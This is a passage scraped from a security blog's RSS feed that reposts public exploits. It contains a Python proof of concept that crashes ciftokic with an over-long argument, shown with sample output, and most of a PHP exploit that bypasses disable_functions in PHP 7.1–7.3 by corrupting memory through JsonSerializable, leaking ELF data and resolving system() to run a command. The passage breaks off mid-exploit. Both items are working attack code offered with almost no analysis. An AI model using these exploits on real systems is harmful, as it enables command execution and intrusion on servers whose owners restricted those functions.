<span class="token triple-quoted-string string">'''
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.  
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);

If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
'''</span>

<span class="token comment"># To test the code use Python 3.6+</span>
<span class="token keyword">from</span> os <span class="token keyword">import</span> system
<span class="token keyword">from</span> sys <span class="token keyword">import</span> argv


<span class="token keyword">def</span> <span class="token function">print_usage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Usage: python3 ciftokic_overflow.py &lt;characters_numbers&gt;"</span><span class="token punctuation">)</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"      |_No Buffer Overflow: python3 ciftokic_overflow.py 80"</span><span class="token punctuation">)</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"      |_Buffer Overflow: python3 ciftokic_overflow.py 81"</span><span class="token punctuation">)</span>

<span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>argv<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>
    print_usage<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">else</span><span class="token punctuation">:</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        number <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
        payload <span class="token operator">=</span> <span class="token string">"J"</span><span class="token operator">*</span>number
        system<span class="token punctuation">(</span>f<span class="token string">"ciftokic {payload}"</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span><span class="token punctuation">:</span>
        print_usage<span class="token punctuation">(</span><span class="token punctuation">)</span>


<span class="token triple-quoted-string string">"""

Output Example:

josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
*** buffer overflow detected ***: ciftokic terminated
Aborted (core dumped)

"""</span>
            </code></pre>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP 7.1 &lt; 7.3 - &#039;json serializer&#039; Disable Functions Bypass</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/php-7-1-7-3-json-serializer-disable-functions-bypass/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Thu, 31 Oct 2019 17:46:19 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=2931</guid>

					<description><![CDATA[PHP 7.1 &#60; 7.3 &#8211; &#8216;json serializer&#8217; Disable Functions Bypass &#60;?php $cmd = "id"; $n_alloc = 10; # increase this value if you get segfaults class MySplFixedArray extends SplFixedArray { public static $leak; } class Z implements JsonSerializable { public function write(&#38;$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1 class="card-title text-secondary text-center">PHP 7.1 &lt; 7.3 &#8211; &#8216;json serializer&#8217; Disable Functions Bypass</h1>
<pre class=" language-php"><code class=" language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>

<span class="token variable">$cmd</span> <span class="token operator">=</span> <span class="token double-quoted-string string">"id"</span><span class="token punctuation">;</span>

<span class="token variable">$n_alloc</span> <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># increase this value if you get segfaults</span>

<span class="token keyword">class</span> <span class="token class-name">MySplFixedArray</span> <span class="token keyword">extends</span> <span class="token class-name">SplFixedArray</span> <span class="token punctuation">{</span>
    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token variable">$leak</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

<span class="token keyword">class</span> <span class="token class-name">Z</span> <span class="token keyword">implements</span> <span class="token class-name">JsonSerializable</span> <span class="token punctuation">{</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">write</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token variable">$str</span><span class="token punctuation">,</span> <span class="token variable">$p</span><span class="token punctuation">,</span> <span class="token variable">$v</span><span class="token punctuation">,</span> <span class="token variable">$n</span> <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
      <span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$n</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$str</span><span class="token punctuation">[</span><span class="token variable">$p</span> <span class="token operator">+</span> <span class="token variable">$i</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$v</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$v</span> <span class="token operator">&gt;</span><span class="token operator">&gt;=</span> <span class="token number">8</span><span class="token punctuation">;</span>
      <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token variable">$str</span><span class="token punctuation">,</span> <span class="token variable">$p</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token variable">$s</span> <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$address</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$j</span> <span class="token operator">=</span> <span class="token variable">$s</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token variable">$j</span> <span class="token operator">&gt;=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$j</span><span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$address</span> <span class="token operator">&lt;</span><span class="token operator">&lt;=</span> <span class="token number">8</span><span class="token punctuation">;</span>
            <span class="token variable">$address</span> <span class="token operator">|</span><span class="token operator">=</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">[</span><span class="token variable">$p</span><span class="token operator">+</span><span class="token variable">$j</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token keyword">return</span> <span class="token variable">$address</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">ptr2str</span><span class="token punctuation">(</span><span class="token variable">$ptr</span><span class="token punctuation">,</span> <span class="token variable">$m</span> <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$out</span> <span class="token operator">=</span> <span class="token double-quoted-string string">""</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token variable">$i</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$m</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$out</span> <span class="token punctuation">.</span><span class="token operator">=</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$ptr</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$ptr</span> <span class="token operator">&gt;</span><span class="token operator">&gt;=</span> <span class="token number">8</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token keyword">return</span> <span class="token variable">$out</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token shell-comment comment"># unable to leak ro segments</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">leak1</span><span class="token punctuation">(</span><span class="token variable">$addr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">global</span> <span class="token variable">$spl1</span><span class="token punctuation">;</span>

        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token variable">$addr</span> <span class="token operator">-</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token function">get_class</span><span class="token punctuation">(</span><span class="token variable">$spl1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token shell-comment comment"># the real deal</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$addr</span><span class="token punctuation">,</span> <span class="token variable">$p</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token variable">$s</span> <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">global</span> <span class="token variable">$spl1</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">;</span>

        <span class="token shell-comment comment"># fake reference zval</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token number">0xdeadbeef</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># gc_refcounted</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">0x18</span><span class="token punctuation">,</span> <span class="token variable">$addr</span> <span class="token operator">+</span> <span class="token variable">$p</span> <span class="token operator">-</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># zval</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">0x20</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># type (string)</span>

        <span class="token variable">$leak</span> <span class="token operator">=</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$spl1</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token variable">$leak</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$s</span> <span class="token operator">!=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token variable">$leak</span> <span class="token operator">%</span><span class="token operator">=</span> <span class="token number">2</span> <span class="token operator">&lt;</span><span class="token operator">&lt;</span> <span class="token punctuation">(</span><span class="token variable">$s</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span>

        <span class="token keyword">return</span> <span class="token variable">$leak</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">parse_elf</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$e_type</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$e_phoff</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token number">0x20</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$e_phentsize</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token number">0x36</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$e_phnum</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token number">0x38</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$e_phnum</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$header</span> <span class="token operator">=</span> <span class="token variable">$base</span> <span class="token operator">+</span> <span class="token variable">$e_phoff</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token variable">$e_phentsize</span><span class="token punctuation">;</span>
            <span class="token variable">$p_type</span>  <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$p_flags</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$p_vaddr</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$p_memsz</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token number">0x28</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$p_type</span> <span class="token operator">==</span> <span class="token number">0x6474e552</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token shell-comment comment"># PT_GNU_RELRO</span>
                <span class="token shell-comment comment"># handle pie</span>
                <span class="token variable">$data_addr</span> <span class="token operator">=</span> <span class="token variable">$e_type</span> <span class="token operator">==</span> <span class="token number">2</span> <span class="token operator">?</span> <span class="token variable">$p_vaddr</span> <span class="token punctuation">:</span> <span class="token variable">$base</span> <span class="token operator">+</span> <span class="token variable">$p_vaddr</span><span class="token punctuation">;</span>
                <span class="token variable">$data_size</span> <span class="token operator">=</span> <span class="token variable">$p_memsz</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$p_type</span> <span class="token operator">==</span> <span class="token number">1</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$p_flags</span> <span class="token operator">==</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token shell-comment comment"># PT_LOAD, PF_Read_exec</span>
                <span class="token variable">$text_size</span> <span class="token operator">=</span> <span class="token variable">$p_memsz</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span>
        <span class="token punctuation">}</span>

        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$data_addr</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token variable">$text_size</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token variable">$data_size</span><span class="token punctuation">)</span>
            <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>

        <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token variable">$data_addr</span><span class="token punctuation">,</span> <span class="token variable">$text_size</span><span class="token punctuation">,</span> <span class="token variable">$data_size</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">get_basic_funcs</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token variable">$elf</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token function">list</span><span class="token punctuation">(</span><span class="token variable">$data_addr</span><span class="token punctuation">,</span> <span class="token variable">$text_size</span><span class="token punctuation">,</span> <span class="token variable">$data_size</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token variable">$elf</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$data_size</span> <span class="token operator">/</span> <span class="token number">8</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$leak</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$data_addr</span><span class="token punctuation">,</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$leak</span> <span class="token operator">-</span> <span class="token variable">$base</span> <span class="token operator">&gt;</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$leak</span> <span class="token operator">-</span> <span class="token variable">$base</span> <span class="token operator">&lt;</span> <span class="token variable">$text_size</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
                <span class="token variable">$deref</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$leak</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
                <span class="token shell-comment comment"># 'constant' constant check</span>
                <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$deref</span> <span class="token operator">!=</span> <span class="token number">0x746e6174736e6f63</span><span class="token punctuation">)</span>
                    <span class="token keyword">continue</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>

            <span class="token variable">$leak</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$data_addr</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">+</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$leak</span> <span class="token operator">-</span> <span class="token variable">$base</span> <span class="token operator">&gt;</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$leak</span> <span class="token operator">-</span> <span class="token variable">$base</span> <span class="token operator">&lt;</span> <span class="token variable">$text_size</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
                <span class="token variable">$deref</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$leak</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
                <span class="token shell-comment comment"># 'bin2hex' constant check</span>
                <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$deref</span> <span class="token operator">!=</span> <span class="token number">0x786568326e6962</span><span class="token punctuation">)</span>
                    <span class="token keyword">continue</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>

            <span class="token keyword">return</span> <span class="token variable">$data_addr</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">get_binary_base</span><span class="token punctuation">(</span><span class="token variable">$binary_leak</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$base</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
        <span class="token variable">$start</span> <span class="token operator">=</span> <span class="token variable">$binary_leak</span> <span class="token operator">&amp;</span> <span class="token number">0xfffffffffffff000</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">0x1000</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$addr</span> <span class="token operator">=</span> <span class="token variable">$start</span> <span class="token operator">-</span> <span class="token number">0x1000</span> <span class="token operator">*</span> <span class="token variable">$i</span><span class="token punctuation">;</span>
            <span class="token variable">$leak</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$addr</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$leak</span> <span class="token operator">==</span> <span class="token number">0x10102464c457f</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token shell-comment comment"># ELF header</span>
                <span class="token keyword">return</span> <span class="token variable">$addr</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">get_system</span><span class="token punctuation">(</span><span class="token variable">$basic_funcs</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$addr</span> <span class="token operator">=</span> <span class="token variable">$basic_funcs</span><span class="token punctuation">;</span>
        <span class="token keyword">do</span> <span class="token punctuation">{</span>
            <span class="token variable">$f_entry</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$addr</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$f_name</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$f_entry</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$f_name</span> <span class="token operator">==</span> <span class="token number">0x6d6574737973</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token shell-comment comment"># system</span>
                <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$addr</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span>
            <span class="token variable">$addr</span> <span class="token operator">+</span><span class="token operator">=</span> <span class="token number">0x20</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span> <span class="token keyword">while</span><span class="token punctuation">(</span><span class="token variable">$f_entry</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">jsonSerialize</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">global</span> <span class="token variable">$y</span><span class="token punctuation">,</span> <span class="token variable">$cmd</span><span class="token punctuation">,</span> <span class="token variable">$spl1</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">,</span> <span class="token variable">$n_alloc</span><span class="token punctuation">;</span>

        <span class="token variable">$contiguous</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$n_alloc</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span>
            <span class="token variable">$contiguous</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DateInterval</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'PT1S'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$room</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$n_alloc</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span>
            <span class="token variable">$room</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Z</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$_protector</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">ptr2str</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">78</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">ptr2str</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">79</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$p</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DateInterval</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'PT1S'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token function">unset</span><span class="token punctuation">(</span><span class="token variable">$y</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">unset</span><span class="token punctuation">(</span><span class="token variable">$p</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$protector</span> <span class="token operator">=</span> <span class="token double-quoted-string string">".<span class="token interpolation"><span class="token variable">$_protector</span></span>"</span><span class="token punctuation">;</span>

